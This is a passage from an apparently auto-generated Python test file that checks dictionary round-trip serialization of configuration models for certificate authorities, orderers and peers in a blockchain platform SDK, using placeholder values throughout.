Test serialization/deserialization for ConfigCAIdemix
"""
# Construct a json representation of a ConfigCAIdemix model
config_ca_idemix_model_json = {}
config_ca_idemix_model_json['rhpoolsize'] = 100
config_ca_idemix_model_json['nonceexpiration'] = '15s'
config_ca_idemix_model_json['noncesweepinterval'] = '15m'
# Construct a model instance of ConfigCAIdemix by calling from_dict on the json representation
config_ca_idemix_model = ConfigCAIdemix.from_dict(config_ca_idemix_model_json)
assert config_ca_idemix_model != False
# Construct a model instance of ConfigCAIdemix by calling from_dict on the json representation
config_ca_idemix_model_dict = ConfigCAIdemix.from_dict(config_ca_idemix_model_json).__dict__
config_ca_idemix_model2 = ConfigCAIdemix(**config_ca_idemix_model_dict)
# Verify the model instances are equivalent
assert config_ca_idemix_model == config_ca_idemix_model2
# Convert model instance back to dict and verify no loss of data
config_ca_idemix_model_json2 = config_ca_idemix_model.to_dict()
assert config_ca_idemix_model_json2 == config_ca_idemix_model_json
class TestConfigCAIntermediate():
"""
Test Class for ConfigCAIntermediate
"""
def test_config_ca_intermediate_serialization(self):
"""
Test serialization/deserialization for ConfigCAIntermediate
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_intermediate_parentserver_model = {} # ConfigCAIntermediateParentserver
config_ca_intermediate_parentserver_model['url'] = 'testString'
config_ca_intermediate_parentserver_model['caname'] = 'testString'
config_ca_intermediate_enrollment_model = {} # ConfigCAIntermediateEnrollment
config_ca_intermediate_enrollment_model['hosts'] = 'localhost'
config_ca_intermediate_enrollment_model['profile'] = 'testString'
config_ca_intermediate_enrollment_model['label'] = 'testString'
config_ca_intermediate_tls_client_model = {} # ConfigCAIntermediateTlsClient
config_ca_intermediate_tls_client_model['certfile'] = 'testString'
config_ca_intermediate_tls_client_model['keyfile'] = 'testString'
config_ca_intermediate_tls_model = {} # ConfigCAIntermediateTls
config_ca_intermediate_tls_model['certfiles'] = ['testString']
config_ca_intermediate_tls_model['client'] = config_ca_intermediate_tls_client_model
# Construct a json representation of a ConfigCAIntermediate model
config_ca_intermediate_model_json = {}
config_ca_intermediate_model_json['parentserver'] = config_ca_intermediate_parentserver_model
config_ca_intermediate_model_json['enrollment'] = config_ca_intermediate_enrollment_model
config_ca_intermediate_model_json['tls'] = config_ca_intermediate_tls_model
# Construct a model instance of ConfigCAIntermediate by calling from_dict on the json representation
config_ca_intermediate_model = ConfigCAIntermediate.from_dict(config_ca_intermediate_model_json)
assert config_ca_intermediate_model != False
# Construct a model instance of ConfigCAIntermediate by calling from_dict on the json representation
config_ca_intermediate_model_dict = ConfigCAIntermediate.from_dict(config_ca_intermediate_model_json).__dict__
config_ca_intermediate_model2 = ConfigCAIntermediate(**config_ca_intermediate_model_dict)
# Verify the model instances are equivalent
assert config_ca_intermediate_model == config_ca_intermediate_model2
# Convert model instance back to dict and verify no loss of data
config_ca_intermediate_model_json2 = config_ca_intermediate_model.to_dict()
assert config_ca_intermediate_model_json2 == config_ca_intermediate_model_json
class TestConfigCARegistry():
"""
Test Class for ConfigCARegistry
"""
def test_config_ca_registry_serialization(self):
"""
Test serialization/deserialization for ConfigCARegistry
"""
# Construct dict forms of any model objects needed in order to build this model.
identity_attrs_model = {} # IdentityAttrs
identity_attrs_model['hf.Registrar.Roles'] = '*'
identity_attrs_model['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model['hf.Revoker'] = True
identity_attrs_model['hf.IntermediateCA'] = True
identity_attrs_model['hf.GenCRL'] = True
identity_attrs_model['hf.Registrar.Attributes'] = '*'
identity_attrs_model['hf.AffiliationMgr'] = True
config_ca_registry_identities_item_model = {} # ConfigCARegistryIdentitiesItem
config_ca_registry_identities_item_model['name'] = 'admin'
config_ca_registry_identities_item_model['pass'] = 'password'
config_ca_registry_identities_item_model['type'] = 'client'
config_ca_registry_identities_item_model['maxenrollments'] = -1
config_ca_registry_identities_item_model['affiliation'] = 'testString'
config_ca_registry_identities_item_model['attrs'] = identity_attrs_model
# Construct a json representation of a ConfigCARegistry model
config_ca_registry_model_json = {}
config_ca_registry_model_json['maxenrollments'] = -1
config_ca_registry_model_json['identities'] = [config_ca_registry_identities_item_model]
# Construct a model instance of ConfigCARegistry by calling from_dict on the json representation
config_ca_registry_model = ConfigCARegistry.from_dict(config_ca_registry_model_json)
assert config_ca_registry_model != False
# Construct a model instance of ConfigCARegistry by calling from_dict on the json representation
config_ca_registry_model_dict = ConfigCARegistry.from_dict(config_ca_registry_model_json).__dict__
config_ca_registry_model2 = ConfigCARegistry(**config_ca_registry_model_dict)
# Verify the model instances are equivalent
assert config_ca_registry_model == config_ca_registry_model2
# Convert model instance back to dict and verify no loss of data
config_ca_registry_model_json2 = config_ca_registry_model.to_dict()
assert config_ca_registry_model_json2 == config_ca_registry_model_json
class TestConfigCASigning():
"""
Test Class for ConfigCASigning
"""
def test_config_ca_signing_serialization(self):
"""
Test serialization/deserialization for ConfigCASigning
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_signing_default_model = {} # ConfigCASigningDefault
config_ca_signing_default_model['usage'] = ['cert sign']
config_ca_signing_default_model['expiry'] = '8760h'
config_ca_signing_profiles_ca_caconstraint_model = {} # ConfigCASigningProfilesCaCaconstraint
config_ca_signing_profiles_ca_caconstraint_model['isca'] = True
config_ca_signing_profiles_ca_caconstraint_model['maxpathlen'] = 0
config_ca_signing_profiles_ca_caconstraint_model['maxpathlenzero'] = True
config_ca_signing_profiles_ca_model = {} # ConfigCASigningProfilesCa
config_ca_signing_profiles_ca_model['usage'] = ['cert sign']
config_ca_signing_profiles_ca_model['expiry'] = '43800h'
config_ca_signing_profiles_ca_model['caconstraint'] = config_ca_signing_profiles_ca_caconstraint_model
config_ca_signing_profiles_tls_model = {} # ConfigCASigningProfilesTls
config_ca_signing_profiles_tls_model['usage'] = ['cert sign']
config_ca_signing_profiles_tls_model['expiry'] = '43800h'
config_ca_signing_profiles_model = {} # ConfigCASigningProfiles
config_ca_signing_profiles_model['ca'] = config_ca_signing_profiles_ca_model
config_ca_signing_profiles_model['tls'] = config_ca_signing_profiles_tls_model
# Construct a json representation of a ConfigCASigning model
config_ca_signing_model_json = {}
config_ca_signing_model_json['default'] = config_ca_signing_default_model
config_ca_signing_model_json['profiles'] = config_ca_signing_profiles_model
# Construct a model instance of ConfigCASigning by calling from_dict on the json representation
config_ca_signing_model = ConfigCASigning.from_dict(config_ca_signing_model_json)
assert config_ca_signing_model != False
# Construct a model instance of ConfigCASigning by calling from_dict on the json representation
config_ca_signing_model_dict = ConfigCASigning.from_dict(config_ca_signing_model_json).__dict__
config_ca_signing_model2 = ConfigCASigning(**config_ca_signing_model_dict)
# Verify the model instances are equivalent
assert config_ca_signing_model == config_ca_signing_model2
# Convert model instance back to dict and verify no loss of data
config_ca_signing_model_json2 = config_ca_signing_model.to_dict()
assert config_ca_signing_model_json2 == config_ca_signing_model_json
class TestConfigCATls():
"""
Test Class for ConfigCATls
"""
def test_config_ca_tls_serialization(self):
"""
Test serialization/deserialization for ConfigCATls
"""
# Construct dict forms of any model objects needed in order to build this model.
config_ca_tls_clientauth_model = {} # ConfigCATlsClientauth
config_ca_tls_clientauth_model['type'] = 'noclientcert'
config_ca_tls_clientauth_model['certfiles'] = ['testString']
# Construct a json representation of a ConfigCATls model
config_ca_tls_model_json = {}
config_ca_tls_model_json['keyfile'] = 'testString'
config_ca_tls_model_json['certfile'] = 'testString'
config_ca_tls_model_json['clientauth'] = config_ca_tls_clientauth_model
# Construct a model instance of ConfigCATls by calling from_dict on the json representation
config_ca_tls_model = ConfigCATls.from_dict(config_ca_tls_model_json)
assert config_ca_tls_model != False
# Construct a model instance of ConfigCATls by calling from_dict on the json representation
config_ca_tls_model_dict = ConfigCATls.from_dict(config_ca_tls_model_json).__dict__
config_ca_tls_model2 = ConfigCATls(**config_ca_tls_model_dict)
# Verify the model instances are equivalent
assert config_ca_tls_model == config_ca_tls_model2
# Convert model instance back to dict and verify no loss of data
config_ca_tls_model_json2 = config_ca_tls_model.to_dict()
assert config_ca_tls_model_json2 == config_ca_tls_model_json
class TestConfigOrdererCreate():
"""
Test Class for ConfigOrdererCreate
"""
def test_config_orderer_create_serialization(self):
"""
Test serialization/deserialization for ConfigOrdererCreate
"""
# Construct dict forms of any model objects needed in order to build this model.
config_orderer_keepalive_model = {} # ConfigOrdererKeepalive
config_orderer_keepalive_model['ServerMinInterval'] = '60s'
config_orderer_keepalive_model['ServerInterval'] = '2h'
config_orderer_keepalive_model['ServerTimeout'] = '20s'
bccsp_sw_model = {} # BccspSW
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
bccsp_pkc_s11_model = {} # BccspPKCS11
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
bccsp_model = {} # Bccsp
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
config_orderer_authentication_model = {} # ConfigOrdererAuthentication
config_orderer_authentication_model['TimeWindow'] = '15m'
config_orderer_authentication_model['NoExpirationChecks'] = False
config_orderer_general_model = {} # ConfigOrdererGeneral
config_orderer_general_model['Keepalive'] = config_orderer_keepalive_model
config_orderer_general_model['BCCSP'] = bccsp_model
config_orderer_general_model['Authentication'] = config_orderer_authentication_model
config_orderer_debug_model = {} # ConfigOrdererDebug
config_orderer_debug_model['BroadcastTraceDir'] = 'testString'
config_orderer_debug_model['DeliverTraceDir'] = 'testString'
config_orderer_metrics_statsd_model = {} # ConfigOrdererMetricsStatsd
config_orderer_metrics_statsd_model['Network'] = 'udp'
config_orderer_metrics_statsd_model['Address'] = '127.0.0.1:8125'
config_orderer_metrics_statsd_model['WriteInterval'] = '10s'
config_orderer_metrics_statsd_model['Prefix'] = 'server'
config_orderer_metrics_model = {} # ConfigOrdererMetrics
config_orderer_metrics_model['Provider'] = 'disabled'
config_orderer_metrics_model['Statsd'] = config_orderer_metrics_statsd_model
# Construct a json representation of a ConfigOrdererCreate model
config_orderer_create_model_json = {}
config_orderer_create_model_json['General'] = config_orderer_general_model
config_orderer_create_model_json['Debug'] = config_orderer_debug_model
config_orderer_create_model_json['Metrics'] = config_orderer_metrics_model
# Construct a model instance of ConfigOrdererCreate by calling from_dict on the json representation
config_orderer_create_model = ConfigOrdererCreate.from_dict(config_orderer_create_model_json)
assert config_orderer_create_model != False
# Construct a model instance of ConfigOrdererCreate by calling from_dict on the json representation
config_orderer_create_model_dict = ConfigOrdererCreate.from_dict(config_orderer_create_model_json).__dict__
config_orderer_create_model2 = ConfigOrdererCreate(**config_orderer_create_model_dict)
# Verify the model instances are equivalent
assert config_orderer_create_model == config_orderer_create_model2
# Convert model instance back to dict and verify no loss of data
config_orderer_create_model_json2 = config_orderer_create_model.to_dict()
assert config_orderer_create_model_json2 == config_orderer_create_model_json
class TestConfigOrdererMetricsStatsd():
"""
Test Class for ConfigOrdererMetricsStatsd
"""
def test_config_orderer_metrics_statsd_serialization(self):
"""
Test serialization/deserialization for ConfigOrdererMetricsStatsd
"""
# Construct a json representation of a ConfigOrdererMetricsStatsd model
config_orderer_metrics_statsd_model_json = {}
config_orderer_metrics_statsd_model_json['Network'] = 'udp'
config_orderer_metrics_statsd_model_json['Address'] = '127.0.0.1:8125'
config_orderer_metrics_statsd_model_json['WriteInterval'] = '10s'
config_orderer_metrics_statsd_model_json['Prefix'] = 'server'
# Construct a model instance of ConfigOrdererMetricsStatsd by calling from_dict on the json representation
config_orderer_metrics_statsd_model = ConfigOrdererMetricsStatsd.from_dict(config_orderer_metrics_statsd_model_json)
assert config_orderer_metrics_statsd_model != False
# Construct a model instance of ConfigOrdererMetricsStatsd by calling from_dict on the json representation
config_orderer_metrics_statsd_model_dict = ConfigOrdererMetricsStatsd.from_dict(config_orderer_metrics_statsd_model_json).__dict__
config_orderer_metrics_statsd_model2 = ConfigOrdererMetricsStatsd(**config_orderer_metrics_statsd_model_dict)
# Verify the model instances are equivalent
assert config_orderer_metrics_statsd_model == config_orderer_metrics_statsd_model2
# Convert model instance back to dict and verify no loss of data
config_orderer_metrics_statsd_model_json2 = config_orderer_metrics_statsd_model.to_dict()
assert config_orderer_metrics_statsd_model_json2 == config_orderer_metrics_statsd_model_json
class TestConfigOrdererUpdate():
"""
Test Class for ConfigOrdererUpdate
"""
def test_config_orderer_update_serialization(self):
"""
Test serialization/deserialization for ConfigOrdererUpdate
"""
# Construct dict forms of any model objects needed in order to build this model.
config_orderer_keepalive_model = {} # ConfigOrdererKeepalive
config_orderer_keepalive_model['ServerMinInterval'] = '60s'
config_orderer_keepalive_model['ServerInterval'] = '2h'
config_orderer_keepalive_model['ServerTimeout'] = '20s'
config_orderer_authentication_model = {} # ConfigOrdererAuthentication
config_orderer_authentication_model['TimeWindow'] = '15m'
config_orderer_authentication_model['NoExpirationChecks'] = False
config_orderer_general_update_model = {} # ConfigOrdererGeneralUpdate
config_orderer_general_update_model['Keepalive'] = config_orderer_keepalive_model
config_orderer_general_update_model['Authentication'] = config_orderer_authentication_model
config_orderer_debug_model = {} # ConfigOrdererDebug
config_orderer_debug_model['BroadcastTraceDir'] = 'testString'
config_orderer_debug_model['DeliverTraceDir'] = 'testString'
config_orderer_metrics_statsd_model = {} # ConfigOrdererMetricsStatsd
config_orderer_metrics_statsd_model['Network'] = 'udp'
config_orderer_metrics_statsd_model['Address'] = '127.0.0.1:8125'
config_orderer_metrics_statsd_model['WriteInterval'] = '10s'
config_orderer_metrics_statsd_model['Prefix'] = 'server'
config_orderer_metrics_model = {} # ConfigOrdererMetrics
config_orderer_metrics_model['Provider'] = 'disabled'
config_orderer_metrics_model['Statsd'] = config_orderer_metrics_statsd_model
# Construct a json representation of a ConfigOrdererUpdate model
config_orderer_update_model_json = {}
config_orderer_update_model_json['General'] = config_orderer_general_update_model
config_orderer_update_model_json['Debug'] = config_orderer_debug_model
config_orderer_update_model_json['Metrics'] = config_orderer_metrics_model
# Construct a model instance of ConfigOrdererUpdate by calling from_dict on the json representation
config_orderer_update_model = ConfigOrdererUpdate.from_dict(config_orderer_update_model_json)
assert config_orderer_update_model != False
# Construct a model instance of ConfigOrdererUpdate by calling from_dict on the json representation
config_orderer_update_model_dict = ConfigOrdererUpdate.from_dict(config_orderer_update_model_json).__dict__
config_orderer_update_model2 = ConfigOrdererUpdate(**config_orderer_update_model_dict)
# Verify the model instances are equivalent
assert config_orderer_update_model == config_orderer_update_model2
# Convert model instance back to dict and verify no loss of data
config_orderer_update_model_json2 = config_orderer_update_model.to_dict()
assert config_orderer_update_model_json2 == config_orderer_update_model_json
class TestConfigOrdererAuthentication():
"""
Test Class for ConfigOrdererAuthentication
"""
def test_config_orderer_authentication_serialization(self):
"""
Test serialization/deserialization for ConfigOrdererAuthentication
"""
# Construct a json representation of a ConfigOrdererAuthentication model
config_orderer_authentication_model_json = {}
config_orderer_authentication_model_json['TimeWindow'] = '15m'
config_orderer_authentication_model_json['NoExpirationChecks'] = False
# Construct a model instance of ConfigOrdererAuthentication by calling from_dict on the json representation
config_orderer_authentication_model = ConfigOrdererAuthentication.from_dict(config_orderer_authentication_model_json)
assert config_orderer_authentication_model != False
# Construct a model instance of ConfigOrdererAuthentication by calling from_dict on the json representation
config_orderer_authentication_model_dict = ConfigOrdererAuthentication.from_dict(config_orderer_authentication_model_json).__dict__
config_orderer_authentication_model2 = ConfigOrdererAuthentication(**config_orderer_authentication_model_dict)
# Verify the model instances are equivalent
assert config_orderer_authentication_model == config_orderer_authentication_model2
# Convert model instance back to dict and verify no loss of data
config_orderer_authentication_model_json2 = config_orderer_authentication_model.to_dict()
assert config_orderer_authentication_model_json2 == config_orderer_authentication_model_json
class TestConfigOrdererDebug():
"""
Test Class for ConfigOrdererDebug
"""
def test_config_orderer_debug_serialization(self):
"""
Test serialization/deserialization for ConfigOrdererDebug
"""
# Construct a json representation of a ConfigOrdererDebug model
config_orderer_debug_model_json = {}
config_orderer_debug_model_json['BroadcastTraceDir'] = 'testString'
config_orderer_debug_model_json['DeliverTraceDir'] = 'testString'
# Construct a model instance of ConfigOrdererDebug by calling from_dict on the json representation
config_orderer_debug_model = ConfigOrdererDebug.from_dict(config_orderer_debug_model_json)
assert config_orderer_debug_model != False
# Construct a model instance of ConfigOrdererDebug by calling from_dict on the json representation
config_orderer_debug_model_dict = ConfigOrdererDebug.from_dict(config_orderer_debug_model_json).__dict__
config_orderer_debug_model2 = ConfigOrdererDebug(**config_orderer_debug_model_dict)
# Verify the model instances are equivalent
assert config_orderer_debug_model == config_orderer_debug_model2
# Convert model instance back to dict and verify no loss of data
config_orderer_debug_model_json2 = config_orderer_debug_model.to_dict()
assert config_orderer_debug_model_json2 == config_orderer_debug_model_json
class TestConfigOrdererGeneral():
"""
Test Class for ConfigOrdererGeneral
"""
def test_config_orderer_general_serialization(self):
"""
Test serialization/deserialization for ConfigOrdererGeneral
"""
# Construct dict forms of any model objects needed in order to build this model.
config_orderer_keepalive_model = {} # ConfigOrdererKeepalive
config_orderer_keepalive_model['ServerMinInterval'] = '60s'
config_orderer_keepalive_model['ServerInterval'] = '2h'
config_orderer_keepalive_model['ServerTimeout'] = '20s'
bccsp_sw_model = {} # BccspSW
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
bccsp_pkc_s11_model = {} # BccspPKCS11
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
bccsp_model = {} # Bccsp
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
config_orderer_authentication_model = {} # ConfigOrdererAuthentication
config_orderer_authentication_model['TimeWindow'] = '15m'
config_orderer_authentication_model['NoExpirationChecks'] = False
# Construct a json representation of a ConfigOrdererGeneral model
config_orderer_general_model_json = {}
config_orderer_general_model_json['Keepalive'] = config_orderer_keepalive_model
config_orderer_general_model_json['BCCSP'] = bccsp_model
config_orderer_general_model_json['Authentication'] = config_orderer_authentication_model
# Construct a model instance of ConfigOrdererGeneral by calling from_dict on the json representation
config_orderer_general_model = ConfigOrdererGeneral.from_dict(config_orderer_general_model_json)
assert config_orderer_general_model != False
# Construct a model instance of ConfigOrdererGeneral by calling from_dict on the json representation
config_orderer_general_model_dict = ConfigOrdererGeneral.from_dict(config_orderer_general_model_json).__dict__
config_orderer_general_model2 = ConfigOrdererGeneral(**config_orderer_general_model_dict)
# Verify the model instances are equivalent
assert config_orderer_general_model == config_orderer_general_model2
# Convert model instance back to dict and verify no loss of data
config_orderer_general_model_json2 = config_orderer_general_model.to_dict()
assert config_orderer_general_model_json2 == config_orderer_general_model_json
class TestConfigOrdererGeneralUpdate():
"""
Test Class for ConfigOrdererGeneralUpdate
"""
def test_config_orderer_general_update_serialization(self):
"""
Test serialization/deserialization for ConfigOrdererGeneralUpdate
"""
# Construct dict forms of any model objects needed in order to build this model.
config_orderer_keepalive_model = {} # ConfigOrdererKeepalive
config_orderer_keepalive_model['ServerMinInterval'] = '60s'
config_orderer_keepalive_model['ServerInterval'] = '2h'
config_orderer_keepalive_model['ServerTimeout'] = '20s'
config_orderer_authentication_model = {} # ConfigOrdererAuthentication
config_orderer_authentication_model['TimeWindow'] = '15m'
config_orderer_authentication_model['NoExpirationChecks'] = False
# Construct a json representation of a ConfigOrdererGeneralUpdate model
config_orderer_general_update_model_json = {}
config_orderer_general_update_model_json['Keepalive'] = config_orderer_keepalive_model
config_orderer_general_update_model_json['Authentication'] = config_orderer_authentication_model
# Construct a model instance of ConfigOrdererGeneralUpdate by calling from_dict on the json representation
config_orderer_general_update_model = ConfigOrdererGeneralUpdate.from_dict(config_orderer_general_update_model_json)
assert config_orderer_general_update_model != False
# Construct a model instance of ConfigOrdererGeneralUpdate by calling from_dict on the json representation
config_orderer_general_update_model_dict = ConfigOrdererGeneralUpdate.from_dict(config_orderer_general_update_model_json).__dict__
config_orderer_general_update_model2 = ConfigOrdererGeneralUpdate(**config_orderer_general_update_model_dict)
# Verify the model instances are equivalent
assert config_orderer_general_update_model == config_orderer_general_update_model2
# Convert model instance back to dict and verify no loss of data
config_orderer_general_update_model_json2 = config_orderer_general_update_model.to_dict()
assert config_orderer_general_update_model_json2 == config_orderer_general_update_model_json
class TestConfigOrdererKeepalive():
"""
Test Class for ConfigOrdererKeepalive
"""
def test_config_orderer_keepalive_serialization(self):
"""
Test serialization/deserialization for ConfigOrdererKeepalive
"""
# Construct a json representation of a ConfigOrdererKeepalive model
config_orderer_keepalive_model_json = {}
config_orderer_keepalive_model_json['ServerMinInterval'] = '60s'
config_orderer_keepalive_model_json['ServerInterval'] = '2h'
config_orderer_keepalive_model_json['ServerTimeout'] = '20s'
# Construct a model instance of ConfigOrdererKeepalive by calling from_dict on the json representation
config_orderer_keepalive_model = ConfigOrdererKeepalive.from_dict(config_orderer_keepalive_model_json)
assert config_orderer_keepalive_model != False
# Construct a model instance of ConfigOrdererKeepalive by calling from_dict on the json representation
config_orderer_keepalive_model_dict = ConfigOrdererKeepalive.from_dict(config_orderer_keepalive_model_json).__dict__
config_orderer_keepalive_model2 = ConfigOrdererKeepalive(**config_orderer_keepalive_model_dict)
# Verify the model instances are equivalent
assert config_orderer_keepalive_model == config_orderer_keepalive_model2
# Convert model instance back to dict and verify no loss of data
config_orderer_keepalive_model_json2 = config_orderer_keepalive_model.to_dict()
assert config_orderer_keepalive_model_json2 == config_orderer_keepalive_model_json
class TestConfigOrdererMetrics():
"""
Test Class for ConfigOrdererMetrics
"""
def test_config_orderer_metrics_serialization(self):
"""
Test serialization/deserialization for ConfigOrdererMetrics
"""
# Construct dict forms of any model objects needed in order to build this model.
config_orderer_metrics_statsd_model = {} # ConfigOrdererMetricsStatsd
config_orderer_metrics_statsd_model['Network'] = 'udp'
config_orderer_metrics_statsd_model['Address'] = '127.0.0.1:8125'
config_orderer_metrics_statsd_model['WriteInterval'] = '10s'
config_orderer_metrics_statsd_model['Prefix'] = 'server'
# Construct a json representation of a ConfigOrdererMetrics model
config_orderer_metrics_model_json = {}
config_orderer_metrics_model_json['Provider'] = 'disabled'
config_orderer_metrics_model_json['Statsd'] = config_orderer_metrics_statsd_model
# Construct a model instance of ConfigOrdererMetrics by calling from_dict on the json representation
config_orderer_metrics_model = ConfigOrdererMetrics.from_dict(config_orderer_metrics_model_json)
assert config_orderer_metrics_model != False
# Construct a model instance of ConfigOrdererMetrics by calling from_dict on the json representation
config_orderer_metrics_model_dict = ConfigOrdererMetrics.from_dict(config_orderer_metrics_model_json).__dict__
config_orderer_metrics_model2 = ConfigOrdererMetrics(**config_orderer_metrics_model_dict)
# Verify the model instances are equivalent
assert config_orderer_metrics_model == config_orderer_metrics_model2
# Convert model instance back to dict and verify no loss of data
config_orderer_metrics_model_json2 = config_orderer_metrics_model.to_dict()
assert config_orderer_metrics_model_json2 == config_orderer_metrics_model_json
class TestConfigPeerChaincodeExternalBuildersItem():
"""
Test Class for ConfigPeerChaincodeExternalBuildersItem
"""
def test_config_peer_chaincode_external_builders_item_serialization(self):
"""
Test serialization/deserialization for ConfigPeerChaincodeExternalBuildersItem
"""
# Construct a json representation of a ConfigPeerChaincodeExternalBuildersItem model
config_peer_chaincode_external_builders_item_model_json = {}
config_peer_chaincode_external_builders_item_model_json['path'] = '/path/to/directory'
config_peer_chaincode_external_builders_item_model_json['name'] = 'descriptive-build-name'
config_peer_chaincode_external_builders_item_model_json['environmentWhitelist'] = ['GOPROXY']
# Construct a model instance of ConfigPeerChaincodeExternalBuildersItem by calling from_dict on the json representation
config_peer_chaincode_external_builders_item_model = ConfigPeerChaincodeExternalBuildersItem.from_dict(config_peer_chaincode_external_builders_item_model_json)
assert config_peer_chaincode_external_builders_item_model != False
# Construct a model instance of ConfigPeerChaincodeExternalBuildersItem by calling from_dict on the json representation
config_peer_chaincode_external_builders_item_model_dict = ConfigPeerChaincodeExternalBuildersItem.from_dict(config_peer_chaincode_external_builders_item_model_json).__dict__
config_peer_chaincode_external_builders_item_model2 = ConfigPeerChaincodeExternalBuildersItem(**config_peer_chaincode_external_builders_item_model_dict)
# Verify the model instances are equivalent
assert config_peer_chaincode_external_builders_item_model == config_peer_chaincode_external_builders_item_model2
# Convert model instance back to dict and verify no loss of data
config_peer_chaincode_external_builders_item_model_json2 = config_peer_chaincode_external_builders_item_model.to_dict()
assert config_peer_chaincode_external_builders_item_model_json2 == config_peer_chaincode_external_builders_item_model_json
class TestConfigPeerChaincodeGolang():
"""
Test Class for ConfigPeerChaincodeGolang
"""
def test_config_peer_chaincode_golang_serialization(self):
"""
Test serialization/deserialization for ConfigPeerChaincodeGolang
"""
# Construct a json representation of a ConfigPeerChaincodeGolang model
config_peer_chaincode_golang_model_json = {}
config_peer_chaincode_golang_model_json['dynamicLink'] = False
# Construct a model instance of ConfigPeerChaincodeGolang by calling from_dict on the json representation
config_peer_chaincode_golang_model = ConfigPeerChaincodeGolang.from_dict(config_peer_chaincode_golang_model_json)
assert config_peer_chaincode_golang_model != False
# Construct a model instance of ConfigPeerChaincodeGolang by calling from_dict on the json representation
config_peer_chaincode_golang_model_dict = ConfigPeerChaincodeGolang.from_dict(config_peer_chaincode_golang_model_json).__dict__
config_peer_chaincode_golang_model2 = ConfigPeerChaincodeGolang(**config_peer_chaincode_golang_model_dict)
# Verify the model instances are equivalent
assert config_peer_chaincode_golang_model == config_peer_chaincode_golang_model2
# Convert model instance back to dict and verify no loss of data
config_peer_chaincode_golang_model_json2 = config_peer_chaincode_golang_model.to_dict()
assert config_peer_chaincode_golang_model_json2 == config_peer_chaincode_golang_model_json
class TestConfigPeerChaincodeLogging():
"""
Test Class for ConfigPeerChaincodeLogging
"""
def test_config_peer_chaincode_logging_serialization(self):
"""
Test serialization/deserialization for ConfigPeerChaincodeLogging
"""
# Construct a json representation of a ConfigPeerChaincodeLogging model
config_peer_chaincode_logging_model_json = {}
config_peer_chaincode_logging_model_json['level'] = 'info'
config_peer_chaincode_logging_model_json['shim'] = 'warning'
config_peer_chaincode_logging_model_json['format'] = '%{color}%{time:2006-01-02 15:04:05.000 MST} [%{module}] %{shortfunc} -> %{level:.4s} %{id:03x}%{color:reset} %{message}'
# Construct a model instance of ConfigPeerChaincodeLogging by calling from_dict on the json representation
config_peer_chaincode_logging_model = ConfigPeerChaincodeLogging.from_dict(config_peer_chaincode_logging_model_json)
assert config_peer_chaincode_logging_model != False
# Construct a model instance of ConfigPeerChaincodeLogging by calling from_dict on the json representation
config_peer_chaincode_logging_model_dict = ConfigPeerChaincodeLogging.from_dict(config_peer_chaincode_logging_model_json).__dict__
config_peer_chaincode_logging_model2 = ConfigPeerChaincodeLogging(**config_peer_chaincode_logging_model_dict)
# Verify the model instances are equivalent
assert config_peer_chaincode_logging_model == config_peer_chaincode_logging_model2
# Convert model instance back to dict and verify no loss of data
config_peer_chaincode_logging_model_json2 = config_peer_chaincode_logging_model.to_dict()
assert config_peer_chaincode_logging_model_json2 == config_peer_chaincode_logging_model_json
class TestConfigPeerChaincodeSystem():
"""
Test Class for ConfigPeerChaincodeSystem
"""
def test_config_peer_chaincode_system_serialization(self):
"""
Test serialization/deserialization for ConfigPeerChaincodeSystem
"""
# Construct a json representation of a ConfigPeerChaincodeSystem model
config_peer_chaincode_system_model_json = {}
config_peer_chaincode_system_model_json['cscc'] = True
config_peer_chaincode_system_model_json['lscc'] = True
config_peer_chaincode_system_model_json['escc'] = True
config_peer_chaincode_system_model_json['vscc'] = True
config_peer_chaincode_system_model_json['qscc'] = True
# Construct a model instance of ConfigPeerChaincodeSystem by calling from_dict on the json representation
config_peer_chaincode_system_model = ConfigPeerChaincodeSystem.from_dict(config_peer_chaincode_system_model_json)
assert config_peer_chaincode_system_model != False
# Construct a model instance of ConfigPeerChaincodeSystem by calling from_dict on the json representation
config_peer_chaincode_system_model_dict = ConfigPeerChaincodeSystem.from_dict(config_peer_chaincode_system_model_json).__dict__
config_peer_chaincode_system_model2 = ConfigPeerChaincodeSystem(**config_peer_chaincode_system_model_dict)
# Verify the model instances are equivalent
assert config_peer_chaincode_system_model == config_peer_chaincode_system_model2
# Convert model instance back to dict and verify no loss of data
config_peer_chaincode_system_model_json2 = config_peer_chaincode_system_model.to_dict()
assert config_peer_chaincode_system_model_json2 == config_peer_chaincode_system_model_json
class TestConfigPeerCreate():
"""
Test Class for ConfigPeerCreate
"""
def test_config_peer_create_serialization(self):
"""
Test serialization/deserialization for ConfigPeerCreate
"""
# Construct dict forms of any model objects needed in order to build this model.
config_peer_keepalive_client_model = {} # ConfigPeerKeepaliveClient
config_peer_keepalive_client_model['interval'] = '60s'
config_peer_keepalive_client_model['timeout'] = '20s'
config_peer_keepalive_delivery_client_model = {} # ConfigPeerKeepaliveDeliveryClient
config_peer_keepalive_delivery_client_model['interval'] = '60s'
config_peer_keepalive_delivery_client_model['timeout'] = '20s'
config_peer_keepalive_model = {} # ConfigPeerKeepalive
config_peer_keepalive_model['minInterval'] = '60s'
config_peer_keepalive_model['client'] = config_peer_keepalive_client_model
config_peer_keepalive_model['deliveryClient'] = config_peer_keepalive_delivery_client_model
config_peer_gossip_election_model = {} # ConfigPeerGossipElection
config_peer_gossip_election_model['startupGracePeriod'] = '15s'
config_peer_gossip_election_model['membershipSampleInterval'] = '1s'
config_peer_gossip_election_model['leaderAliveThreshold'] = '10s'
config_peer_gossip_election_model['leaderElectionDuration'] = '5s'
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = {} # ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy
